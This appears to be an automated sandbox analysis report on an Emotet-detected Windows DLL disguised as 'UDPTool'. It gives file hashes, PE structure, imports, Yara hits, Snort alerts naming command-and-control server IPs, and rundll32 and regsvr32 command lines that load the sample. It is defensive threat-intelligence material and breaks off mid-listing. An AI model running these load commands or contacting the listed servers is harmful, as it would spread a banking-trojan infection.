Preview:	................................................................................h................................B..............Zb..................................................@.t.z.r.e.s...d.l.l.,.-.2.1.2.......................................................@.t.z.r.e.s...d.l.l.,.-.2.1.1............................................................."%...... ....._...}...........U.n.i.s.t.a.c.k.C.i.r.c.u.l.a.r...C.:.\.U.s.e.r.s.\.h.a.r.d.z.\.A.p.p.D.a.t.a.\.L.o.c.a.l.\.p.a.c.k.a.g.e.s.\.A.c.t.i.v.e.S.y.n.c.\.L.o.c.a.l.S.t.a.t.e.\.D.i.a.g.O.u.t.p.u.t.D.i.r.\.U.n.i.s.t.a.c.k.C.i.r.c.u.l.a.r...e.t.l.......P.P.h...............................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\packages\ActiveSync\LocalState\DiagOutputDir\UnistackCritical.etl.0001B. (copy) Download File
Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	0.11273857454530721
Encrypted:	false
SSDEEP:	12:FJXjXm/Ey6q9995bf1mK2P3qQ10nMCldimE8eawHza1mKSiXP:FJKl68h1iPLyMCldzE9BHza12i/
MD5:	90DE189AB507C6F07379D8A60A2C67CA
SHA1:	B056F736B2D0DACD76193D6213CD149DA65C634D
SHA-256:	8889615CBB2FA34222B2187B422DBFE6D1F4F9D68320CD6859D62444F293355B
SHA-512:	584748E66C1098573C7804E305DA3A5666CE2C42379E9C037CB986301799BD054B1646EE5DD2CC10A42FFEF80F0BFA4892060FFF2355A7ADFF1E949C93F89133
Malicious:	false
Preview:	................................................................................h.......}........................B..............Zb..................................................@.t.z.r.e.s...d.l.l.,.-.2.1.2.......................................................@.t.z.r.e.s...d.l.l.,.-.2.1.1............................................................."%...... ........}...........U.n.i.s.t.a.c.k.C.r.i.t.i.c.a.l...C.:.\.U.s.e.r.s.\.h.a.r.d.z.\.A.p.p.D.a.t.a.\.L.o.c.a.l.\.p.a.c.k.a.g.e.s.\.A.c.t.i.v.e.S.y.n.c.\.L.o.c.a.l.S.t.a.t.e.\.D.i.a.g.O.u.t.p.u.t.D.i.r.\.U.n.i.s.t.a.c.k.C.r.i.t.i.c.a.l...e.t.l.......P.P.h...............................................................................................................................................................................................................................................................................................................................................................................................

C:\Windows\ServiceProfiles\LocalService\AppData\Local\Temp\MpCmdRun.log Download File
Process:	C:\Program Files\Windows Defender\MpCmdRun.exe
File Type:	Little-endian UTF-16 Unicode text, with CRLF, CR line terminators
Category:	modified
Size (bytes):	9062
Entropy (8bit):	3.1634752007515226
Encrypted:	false
SSDEEP:	192:cY+38+DJl+ibJ6+ioJJ+i3N+WtT+E9tD+Ett3d+E3zu+U:j+s+v+b+P+m+0+Q+q+l+U
MD5:	98FE91B770DC3173B1FB98FCE4C28106
SHA1:	A65DCAFD5EFA0086A49CBF3626DC7CBCD3713C5A
SHA-256:	D11905C487D0B420432E4E368B967E45C84E7A41836929E9B3CA1DCBF4984BF1
SHA-512:	CCA21FF6A276D62CAD4E7C71BE85537A799EF774043568636B53E14F12B49B45D80AB7ED4AA50D8F56107A97734607EF9F104AAE4EA8909B1011EA8FC695E5F4
Malicious:	false
Preview:	..........-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.....M.p.C.m.d.R.u.n.:. .C.o.m.m.a.n.d. .L.i.n.e.:. .".C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.W.i.n.d.o.w.s. .D.e.f.e.n.d.e.r.\.m.p.c.m.d.r.u.n...e.x.e.". .-.w.d.e.n.a.b.l.e..... .S.t.a.r.t. .T.i.m.e.:. .. T.h.u. .. J.u.n. .. 2.7. .. 2.0.1.9. .0.1.:.2.9.:.4.9.........M.p.E.n.s.u.r.e.P.r.o.c.e.s.s.M.i.t.i.g.a.t.i.o.n.P.o.l.i.c.y.:. .h.r. .=. .0.x.1.....W.D.E.n.a.b.l.e.....E.R.R.O.R.:. .M.p.W.D.E.n.a.b.l.e.(.T.R.U.E.). .f.a.i.l.e.d. .(.8.0.0.7.0.4.E.C.).....M.p.C.m.d.R.u.n.:. .E.n.d. .T.i.m.e.:. .. T.h.u. .. J.u.n. .. 2.7. .. 2.0.1.9. .0.1.:.2.9.:.4.9.....-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.............-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.

C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\DeliveryOptimization\Logs\dosvc.20220114_193309_336.etl Download File
Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	12288
Entropy (8bit):	3.7720253343097254
Encrypted:	false
SSDEEP:	96:ICapdQ/o+Ml5PJ9N2YvHCPgII2l21kSO4a8T2kYFzWUMCj6JRQ57fY50UMCQK54a:baiqcVI2mYkC0SrCECp/RmCTC2Co
MD5:	E48D22E2759A539B7F5DD04A288FAA87
SHA1:	0A6BF33FAF75D8C4B57482BE0BBD36F794F28A32
SHA-256:	1FEEE7CD3F43871A1BE00BC1F0D7947CE10F81446C2E096DF1C8899558EDCF6D
SHA-512:	43562077C7157A15A4DF62835BB5A32C3D0E30339AE8249DBD8A5815EC77BD45A0C386295C451FC817BB27ED708CA0C81E6354322514FC3D22AFAD0F3516C06B
Malicious:	false
Preview:	.... ... ....................................... ...!...........................$................................B..............Zb... ... ..........................................@.t.z.r.e.s...d.l.l.,.-.2.1.2.......................................................@.t.z.r.e.s...d.l.l.,.-.2.1.1..................................................................... .....i...}...........8.6.9.6.E.A.C.4.-.1.2.8.8.-.4.2.8.8.-.A.4.E.E.-.4.9.E.E.4.3.1.B.0.A.D.9...C.:.\.W.i.n.d.o.w.s.\.S.e.r.v.i.c.e.P.r.o.f.i.l.e.s.\.N.e.t.w.o.r.k.S.e.r.v.i.c.e.\.A.p.p.D.a.t.a.\.L.o.c.a.l.\.M.i.c.r.o.s.o.f.t.\.W.i.n.d.o.w.s.\.D.e.l.i.v.e.r.y.O.p.t.i.m.i.z.a.t.i.o.n.\.L.o.g.s.\.d.o.s.v.c...2.0.2.2.0.1.1.4._.1.9.3.3.0.9._.3.3.6...e.t.l.........P.P.$...............................................................................................................................................................................................................................................................................

Static File Info

General
File type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Entropy (8bit):	7.087980329599347
TrID:	Win32 Dynamic Link Library (generic) (1002004/3) 95.65% Win32 EXE PECompact compressed (generic) (41571/9) 3.97% Generic Win/DOS Executable (2004/3) 0.19% DOS Executable Generic (2002/1) 0.19% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	5o8zdV3GU3.dll
File size:	417792
MD5:	189bf4703028e64816a04b4e4ed2767d
SHA1:	0b7b0275e4095b367cb9bc54594d67b539b70ff1
SHA256:	adadac282d13fd1859a084555e73747d751d27f39059026c08b52f2a316dddc9
SHA512:	db4601cdb481fa7de52944e905543262aa9c24b7120dcf87031e29b403bc3e3aa6ce79df87f0fb21da219a77dd9c3f7b68ad26dc60cb8f0ce20ab3210305c609
SSDEEP:	6144:o1ju3jPam65ucnNgDoDUhuGGwKveuz4VKYjHyCAJOhrmBlDxqms9ujAJKedmL/:yMjcuDaUIm5StJorohvsMjmKe
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......Z'...F...F...F...I...F...I...F...F...D..9....F..9....F..9....F..9....F..9....F..9....F..Rich.F..................PE..L...k+.a...

File Icon


Icon Hash:	71b018ccc6577131

Static PE Info

General
Entrypoint:	0x10017b85
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x10000000
Subsystem:	windows gui
Image File Characteristics:	32BIT_MACHINE, EXECUTABLE_IMAGE, DLL
DLL Characteristics:
Time Stamp:	0x61E02B6B [Thu Jan 13 13:38:51 2022 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	4
OS Version Minor:	0
File Version Major:	4
File Version Minor:	0
Subsystem Version Major:	4
Subsystem Version Minor:	0
Import Hash:	90add561a8bf6976696c056c199a41b8

Entrypoint Preview

Instruction
cmp dword ptr [esp+08h], 01h
jne 00007FEADCBE3047h
call 00007FEADCBEADC8h
push dword ptr [esp+04h]
mov ecx, dword ptr [esp+10h]
mov edx, dword ptr [esp+0Ch]
call 00007FEADCBE2F32h
pop ecx
retn 000Ch
push 00000000h
push dword ptr [esp+14h]
push dword ptr [esp+14h]
push dword ptr [esp+14h]
push dword ptr [esp+14h]
call 00007FEADCBEAE30h
add esp, 14h
ret
push eax
push dword ptr fs:[00000000h]
lea eax, dword ptr [esp+0Ch]
sub esp, dword ptr [esp+0Ch]
push ebx
push esi
push edi
mov dword ptr [eax], ebp
mov ebp, eax
mov eax, dword ptr [10057A08h]
xor eax, ebp
push eax
push dword ptr [ebp-04h]
mov dword ptr [ebp-04h], FFFFFFFFh
lea eax, dword ptr [ebp-0Ch]
mov dword ptr fs:[00000000h], eax
ret
push eax
push dword ptr fs:[00000000h]
lea eax, dword ptr [esp+0Ch]
sub esp, dword ptr [esp+0Ch]
push ebx
push esi
push edi
mov dword ptr [eax], ebp
mov ebp, eax
mov eax, dword ptr [10057A08h]
xor eax, ebp
push eax
mov dword ptr [ebp-10h], esp
push dword ptr [ebp-04h]
mov dword ptr [ebp-04h], FFFFFFFFh
lea eax, dword ptr [ebp-0Ch]
mov dword ptr fs:[00000000h], eax
ret
push eax
push dword ptr fs:[00000000h]
lea eax, dword ptr [esp+0Ch]
sub esp, dword ptr [esp+0Ch]
push ebx
push esi
push edi
mov dword ptr [eax], ebp
mov ebp, eax
mov eax, dword ptr [10057A08h]
xor eax, ebp
push eax
mov dword ptr [ebp-10h], eax

Rich Headers

Programming Language:

[RES] VS2005 build 50727
[ C ] VS2005 build 50727
[EXP] VS2005 build 50727
[C++] VS2005 build 50727
[ASM] VS2005 build 50727
[LNK] VS2005 build 50727

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x313c0	0x50	.rdata
IMAGE_DIRECTORY_ENTRY_IMPORT	0x2fdcc	0xb4	.rdata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x5d000	0x3664	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x61000	0x3df4	.reloc
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x2cd60	0x40	.rdata
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x29000	0x440	.rdata
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x2fd44	0x40	.rdata
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0x27f5e	0x28000	False	0.514996337891	data	6.66251942868	IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_READ
.rdata	0x29000	0x8410	0x9000	False	0.308837890625	data	4.83029566033	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.data	0x32000	0x2a9a0	0x27000	False	0.963572966747	data	7.93281036967	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_WRITE, IMAGE_SCN_MEM_READ
.rsrc	0x5d000	0x3664	0x4000	False	0.274780273438	data	4.49622273105	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.reloc	0x61000	0x8284	0x9000	False	0.33251953125	data	3.82081999119	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country
RT_CURSOR	0x5db08	0x134	data	Chinese	China
RT_CURSOR	0x5dc3c	0xb4	data	Chinese	China
RT_CURSOR	0x5dcf0	0x134	AmigaOS bitmap font	Chinese	China
RT_CURSOR	0x5de24	0x134	data	Chinese	China
RT_CURSOR	0x5df58	0x134	data	Chinese	China
RT_CURSOR	0x5e08c	0x134	data	Chinese	China
RT_CURSOR	0x5e1c0	0x134	data	Chinese	China
RT_CURSOR	0x5e2f4	0x134	data	Chinese	China
RT_CURSOR	0x5e428	0x134	data	Chinese	China
RT_CURSOR	0x5e55c	0x134	data	Chinese	China
RT_CURSOR	0x5e690	0x134	data	Chinese	China
RT_CURSOR	0x5e7c4	0x134	data	Chinese	China
RT_CURSOR	0x5e8f8	0x134	AmigaOS bitmap font	Chinese	China
RT_CURSOR	0x5ea2c	0x134	data	Chinese	China
RT_CURSOR	0x5eb60	0x134	data	Chinese	China
RT_CURSOR	0x5ec94	0x134	data	Chinese	China
RT_BITMAP	0x5edc8	0xb8	data	Chinese	China
RT_BITMAP	0x5ee80	0x144	data	Chinese	China
RT_ICON	0x5efc4	0x2e8	dBase IV DBT of @.DBF, block length 512, next free block index 40, next free block 67108992, next used block 3293332676	Chinese	China
RT_ICON	0x5f2ac	0x128	GLS_BINARY_LSB_FIRST	Chinese	China
RT_DIALOG	0x5f3d4	0x33c	data	Chinese	China
RT_DIALOG	0x5f710	0xe2	data	Chinese	China
RT_DIALOG	0x5f7f4	0x34	data	Chinese	China
RT_STRING	0x5f828	0x54	data	Chinese	China
RT_STRING	0x5f87c	0x2c	data	Chinese	China
RT_STRING	0x5f8a8	0x82	data	Chinese	China
RT_STRING	0x5f92c	0x1d0	data	Chinese	China
RT_STRING	0x5fafc	0x164	data	Chinese	China
RT_STRING	0x5fc60	0x132	data	Chinese	China
RT_STRING	0x5fd94	0x50	data	Chinese	China
RT_STRING	0x5fde4	0x40	data	Chinese	China
RT_STRING	0x5fe24	0x6a	data	Chinese	China
RT_STRING	0x5fe90	0x1d6	data	Chinese	China
RT_STRING	0x60068	0x110	data	Chinese	China
RT_STRING	0x60178	0x24	data	Chinese	China
RT_STRING	0x6019c	0x30	data	Chinese	China
RT_GROUP_CURSOR	0x601cc	0x22	Lotus unknown worksheet or configuration, revision 0x2	Chinese	China
RT_GROUP_CURSOR	0x601f0	0x14	Lotus unknown worksheet or configuration, revision 0x1	Chinese	China
RT_GROUP_CURSOR	0x60204	0x14	Lotus unknown worksheet or configuration, revision 0x1	Chinese	China
RT_GROUP_CURSOR	0x60218	0x14	Lotus unknown worksheet or configuration, revision 0x1	Chinese	China
RT_GROUP_CURSOR	0x6022c	0x14	Lotus unknown worksheet or configuration, revision 0x1	Chinese	China
RT_GROUP_CURSOR	0x60240	0x14	Lotus unknown worksheet or configuration, revision 0x1	Chinese	China
RT_GROUP_CURSOR	0x60254	0x14	Lotus unknown worksheet or configuration, revision 0x1	Chinese	China
RT_GROUP_CURSOR	0x60268	0x14	Lotus unknown worksheet or configuration, revision 0x1	Chinese	China
RT_GROUP_CURSOR	0x6027c	0x14	Lotus unknown worksheet or configuration, revision 0x1	Chinese	China
RT_GROUP_CURSOR	0x60290	0x14	Lotus unknown worksheet or configuration, revision 0x1	Chinese	China
RT_GROUP_CURSOR	0x602a4	0x14	Lotus unknown worksheet or configuration, revision 0x1	Chinese	China
RT_GROUP_CURSOR	0x602b8	0x14	Lotus unknown worksheet or configuration, revision 0x1	Chinese	China
RT_GROUP_CURSOR	0x602cc	0x14	Lotus unknown worksheet or configuration, revision 0x1	Chinese	China
RT_GROUP_CURSOR	0x602e0	0x14	Lotus unknown worksheet or configuration, revision 0x1	Chinese	China
RT_GROUP_CURSOR	0x602f4	0x14	Lotus unknown worksheet or configuration, revision 0x1	Chinese	China
RT_GROUP_ICON	0x60308	0x22	data	Chinese	China
RT_VERSION	0x6032c	0x2e0	data	Chinese	China
RT_MANIFEST	0x6060c	0x56	ASCII text, with CRLF line terminators	English	United States

Imports

DLL	Import
KERNEL32.dll	CreateFileA, GetCPInfo, GetOEMCP, RtlUnwind, HeapReAlloc, GetCommandLineA, RaiseException, ExitProcess, HeapSize, HeapDestroy, HeapCreate, TerminateProcess, UnhandledExceptionFilter, SetUnhandledExceptionFilter, IsDebuggerPresent, GetACP, LCMapStringW, GetStdHandle, SetHandleCount, GetFileType, GetStartupInfoA, FreeEnvironmentStringsA, GetEnvironmentStrings, FreeEnvironmentStringsW, GetEnvironmentStringsW, QueryPerformanceCounter, GetTickCount, GetSystemTimeAsFileTime, GetConsoleCP, GetConsoleMode, GetStringTypeA, GetStringTypeW, SetStdHandle, WriteConsoleA, GetConsoleOutputCP, WriteConsoleW, GetCurrentProcess, GetThreadLocale, FlushFileBuffers, SetFilePointer, WriteFile, ReadFile, GlobalFlags, WritePrivateProfileStringA, TlsFree, DeleteCriticalSection, LocalReAlloc, TlsSetValue, TlsAlloc, InitializeCriticalSection, GlobalHandle, GlobalReAlloc, EnterCriticalSection, TlsGetValue, LeaveCriticalSection, LocalAlloc, InterlockedIncrement, GlobalGetAtomNameA, GlobalFindAtomA, lstrcmpW, GetVersionExA, InterlockedDecrement, FreeResource, GetCurrentProcessId, GlobalAddAtomA, GetCurrentThread, GetCurrentThreadId, ConvertDefaultLocale, GetModuleFileNameA, EnumResourceLanguagesA, GetLocaleInfoA, lstrcmpA, GlobalDeleteAtom, GetModuleHandleA, GlobalFree, GlobalAlloc, GlobalLock, GlobalUnlock, FormatMessageA, LocalFree, FindResourceA, LoadResource, LockResource, SizeofResource, MulDiv, CreateThread, CloseHandle, HeapFree, GetNativeSystemInfo, GetProcessHeap, HeapAlloc, FreeLibrary, GetProcAddress, LoadLibraryA, IsBadReadPtr, VirtualProtect, SetLastError, VirtualAlloc, VirtualFree, VirtualQuery, Sleep, GetLastError, lstrlenA, WideCharToMultiByte, CompareStringA, MultiByteToWideChar, GetVersion, LCMapStringA, InterlockedExchange
USER32.dll	LoadCursorA, GetSysColorBrush, EndPaint, BeginPaint, ReleaseDC, GetDC, ClientToScreen, GrayStringA, DrawTextExA, DrawTextA, TabbedTextOutA, SetWindowTextA, IsDialogMessageA, SetDlgItemTextA, GetDlgItemTextA, RegisterWindowMessageA, SendDlgItemMessageA, WinHelpA, GetCapture, GetClassLongA, GetClassNameA, SetPropA, GetPropA, RemovePropA, SetFocus, GetWindowTextLengthA, GetWindowTextA, GetForegroundWindow, GetTopWindow, GetMessageTime, MapWindowPoints, SetForegroundWindow, UpdateWindow, GetMenu, CreateWindowExA, GetClassInfoExA, GetClassInfoA, RegisterClassA, GetSysColor, CopyRect, PtInRect, GetDlgCtrlID, DefWindowProcA, CallWindowProcA, SetWindowLongA, SetWindowPos, SystemParametersInfoA, GetWindowPlacement, GetWindowRect, GetWindow, UnhookWindowsHookEx, GetDesktopWindow, SetActiveWindow, CreateDialogIndirectParamA, DestroyWindow, IsWindow, GetDlgItem, GetNextDlgTabItem, EndDialog, GetWindowThreadProcessId, GetWindowLongA, GetLastActivePopup, IsWindowEnabled, MessageBoxA, SetCursor, SetWindowsHookExA, CallNextHookEx, GetMessageA, TranslateMessage, DispatchMessageA, GetActiveWindow, IsWindowVisible, GetKeyState, PeekMessageA, GetCursorPos, ValidateRect, SetMenuItemBitmaps, DestroyMenu, UnregisterClassA, GetMessagePos, GetMenuCheckMarkDimensions, LoadBitmapA, GetFocus, GetParent, ModifyMenuA, EnableMenuItem, CheckMenuItem, PostQuitMessage, GetMenuState, GetMenuItemID, GetMenuItemCount, GetSubMenu, SetTimer, KillTimer, IsIconic, GetSystemMetrics, GetClientRect, DrawIcon, SendMessageA, ShowWindow, EnableWindow, LoadIconA, PostMessageA, AdjustWindowRectEx
GDI32.dll	SetWindowExtEx, ScaleWindowExtEx, DeleteDC, GetStockObject, ScaleViewportExtEx, SetViewportExtEx, OffsetViewportOrgEx, SetViewportOrgEx, SelectObject, Escape, ExtTextOutA, TextOutA, RectVisible, PtVisible, GetDeviceCaps, DeleteObject, SetMapMode, RestoreDC, SaveDC, GetObjectA, SetBkColor, SetTextColor, GetClipBox, CreateBitmap
WINSPOOL.DRV	DocumentPropertiesA, ClosePrinter, OpenPrinterA
ADVAPI32.dll	RegSetValueExA, RegCreateKeyExA, RegQueryValueA, RegEnumKeyA, RegDeleteKeyA, RegOpenKeyExA, RegQueryValueExA, RegOpenKeyA, RegCloseKey
SHLWAPI.dll	PathFindExtensionA
OLEAUT32.dll	VariantClear, VariantChangeType, VariantInit
WS2_32.dll	sendto, recvfrom, WSAStartup, inet_addr, htons, socket, bind, setsockopt, WSACleanup, closesocket, htonl

Exports

Name	Ordinal	Address
DllRegisterServer	1	0x10008af0

Version Infos

Description	Data
LegalCopyright	(C) 2014
InternalName	UDPTool
FileVersion	1, 0, 0, 1
CompanyName
LegalTrademarks
ProductName	UDPTool
ProductVersion	1, 0, 0, 1
FileDescription	UDPTool Microsoft
OriginalFilename	UDPTool.EXE
Translation	0x0804 0x04b0

Possible Origin

Language of compilation system	Country where language is spoken	Map
Chinese	China
English	United States

Network Behavior

Snort IDS Alerts

Timestamp	Protocol	SID	Message	Source Port	Dest Port	Source IP	Dest IP
01/14/22-11:33:33.971322	TCP	2404332	ET CNC Feodo Tracker Reported CnC Server TCP group 17	49745	80	192.168.2.3	45.138.98.34
01/14/22-11:33:35.051066	TCP	2404338	ET CNC Feodo Tracker Reported CnC Server TCP group 20	49746	8080	192.168.2.3	69.16.218.101

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 14, 2022 11:33:33.971322060 CET	49745	80	192.168.2.3	45.138.98.34
Jan 14, 2022 11:33:33.988095999 CET	80	49745	45.138.98.34	192.168.2.3
Jan 14, 2022 11:33:34.492244959 CET	49745	80	192.168.2.3	45.138.98.34
Jan 14, 2022 11:33:34.509115934 CET	80	49745	45.138.98.34	192.168.2.3
Jan 14, 2022 11:33:35.025767088 CET	49745	80	192.168.2.3	45.138.98.34
Jan 14, 2022 11:33:35.042982101 CET	80	49745	45.138.98.34	192.168.2.3
Jan 14, 2022 11:33:35.051065922 CET	49746	8080	192.168.2.3	69.16.218.101
Jan 14, 2022 11:33:35.184227943 CET	8080	49746	69.16.218.101	192.168.2.3
Jan 14, 2022 11:33:35.184417963 CET	49746	8080	192.168.2.3	69.16.218.101
Jan 14, 2022 11:33:35.230561018 CET	49746	8080	192.168.2.3	69.16.218.101
Jan 14, 2022 11:33:35.364490032 CET	8080	49746	69.16.218.101	192.168.2.3
Jan 14, 2022 11:33:35.377569914 CET	8080	49746	69.16.218.101	192.168.2.3
Jan 14, 2022 11:33:35.377597094 CET	8080	49746	69.16.218.101	192.168.2.3
Jan 14, 2022 11:33:35.377731085 CET	49746	8080	192.168.2.3	69.16.218.101
Jan 14, 2022 11:33:37.991425037 CET	49746	8080	192.168.2.3	69.16.218.101
Jan 14, 2022 11:33:38.125765085 CET	8080	49746	69.16.218.101	192.168.2.3
Jan 14, 2022 11:33:38.126228094 CET	8080	49746	69.16.218.101	192.168.2.3
Jan 14, 2022 11:33:38.126312017 CET	49746	8080	192.168.2.3	69.16.218.101
Jan 14, 2022 11:33:38.129585981 CET	49746	8080	192.168.2.3	69.16.218.101
Jan 14, 2022 11:33:38.262804985 CET	8080	49746	69.16.218.101	192.168.2.3
Jan 14, 2022 11:33:38.766268969 CET	8080	49746	69.16.218.101	192.168.2.3
Jan 14, 2022 11:33:38.768337965 CET	49746	8080	192.168.2.3	69.16.218.101
Jan 14, 2022 11:33:41.771298885 CET	8080	49746	69.16.218.101	192.168.2.3
Jan 14, 2022 11:33:41.771322966 CET	8080	49746	69.16.218.101	192.168.2.3
Jan 14, 2022 11:33:41.771457911 CET	49746	8080	192.168.2.3	69.16.218.101
Jan 14, 2022 11:35:12.626627922 CET	49746	8080	192.168.2.3	69.16.218.101
Jan 14, 2022 11:35:12.626677990 CET	49746	8080	192.168.2.3	69.16.218.101

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	Address	Type	Class
Jan 14, 2022 11:33:36.622252941 CET	8.8.8.8	192.168.2.3	0x7de9	No error (0)	windowsupdate.s.llnwi.net	95.140.236.128	A (IP address)	IN (0x0001)
Jan 14, 2022 11:33:55.076152086 CET	8.8.8.8	192.168.2.3	0x6df3	No error (0)	windowsupdate.s.llnwi.net	41.63.96.0	A (IP address)	IN (0x0001)
Jan 14, 2022 11:33:55.076152086 CET	8.8.8.8	192.168.2.3	0x6df3	No error (0)	windowsupdate.s.llnwi.net	41.63.96.128	A (IP address)	IN (0x0001)

Code Manipulations

Statistics

CPU Usage

Click to jump to process

Memory Usage

Click to jump to process

High Level Behavior Distribution

Click to dive into process behavior distribution

Behavior

Click to jump to process

System Behavior

Analysis Process: svchost.exe PID: 6968 Parent PID: 572

General

Start time:	11:33:07
Start date:	14/01/2022
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s NcbService
Imagebase:	0x7ff70d6e0000
File size:	51288 bytes
MD5 hash:	32569E403279B3FD2EDB7EBD036273FA
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Chronological Activities

Analysis Process: loaddll32.exe PID: 7012 Parent PID: 5612

General

Start time:	11:33:07
Start date:	14/01/2022
Path:	C:\Windows\System32\loaddll32.exe
Wow64 process (32bit):	true
Commandline:	loaddll32.exe "C:\Users\user\Desktop\5o8zdV3GU3.dll"
Imagebase:	0x160000
File size:	116736 bytes
MD5 hash:	7DEB5DB86C0AC789123DEC286286B938
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate

Chronological Activities

Analysis Process: svchost.exe PID: 7048 Parent PID: 572

General

Start time:	11:33:07
Start date:	14/01/2022
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	c:\windows\system32\svchost.exe -k localservice -p -s CDPSvc
Imagebase:	0x7ff70d6e0000
File size:	51288 bytes
MD5 hash:	32569E403279B3FD2EDB7EBD036273FA
Has elevated privileges:	true
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high

Chronological Activities

Analysis Process: cmd.exe PID: 7068 Parent PID: 7012

General

Start time:	11:33:07
Start date:	14/01/2022
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	cmd.exe /C rundll32.exe "C:\Users\user\Desktop\5o8zdV3GU3.dll",#1
Imagebase:	0xd80000
File size:	232960 bytes
MD5 hash:	F3BDBE3BB6F734E357235F4D5898582D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Chronological Activities

Analysis Process: regsvr32.exe PID: 7140 Parent PID: 7012

General

Start time:	11:33:08
Start date:	14/01/2022
Path:	C:\Windows\SysWOW64\regsvr32.exe
Wow64 process (32bit):	true
Commandline:	regsvr32.exe /s C:\Users\user\Desktop\5o8zdV3GU3.dll
Imagebase:	0x240000
File size:	20992 bytes
MD5 hash:	426E7499F6A7346F0410DEAD0805586B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Emotet_1, Description: Yara detected Emotet, Source: 00000006.00000002.288106949.0000000002920000.00000040.00000001.sdmp, Author: Joe Security Rule: JoeSecurity_Emotet_1, Description: Yara detected Emotet, Source: 00000006.00000002.288171571.0000000004221000.00000020.00000001.sdmp, Author: Joe Security
Reputation:	high

Chronological Activities

Analysis Process: rundll32.exe PID: 7156 Parent PID: 7068

General

Start time:	11:33:08
Start date:	14/01/2022
Path:	C:\Windows\SysWOW64\rundll32.exe
Wow64 process (32bit):	true
Commandline:	rundll32.exe "C:\Users\user\Desktop\5o8zdV3GU3.dll",#1
Imagebase:	0x1a0000
File size:	61952 bytes
MD5 hash:	D7CA562B0DB4F4DD0F03A89A1FDAD63D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Emotet_1, Description: Yara detected Emotet, Source: 00000007.00000002.291064992.0000000003371000.00000020.00000001.sdmp, Author: Joe Security Rule: JoeSecurity_Emotet_1, Description: Yara detected Emotet, Source: 00000007.00000002.291040092.0000000003340000.00000040.00000001.sdmp, Author: Joe Security
Reputation:	high

Chronological Activities

Analysis Process: svchost.exe PID: 720 Parent PID: 572

General

Start time:	11:33:08
Start date:	14/01/2022
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	c:\windows\system32\svchost.exe -k networkservice -p -s DoSvc
Imagebase:	0x7ff70d6e0000
File size:	51288 bytes
MD5 hash:	32569E403279B3FD2EDB7EBD036273FA
Has elevated privileges:	true
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high

Chronological Activities

Analysis Process: rundll32.exe PID: 6076 Parent PID: 7012

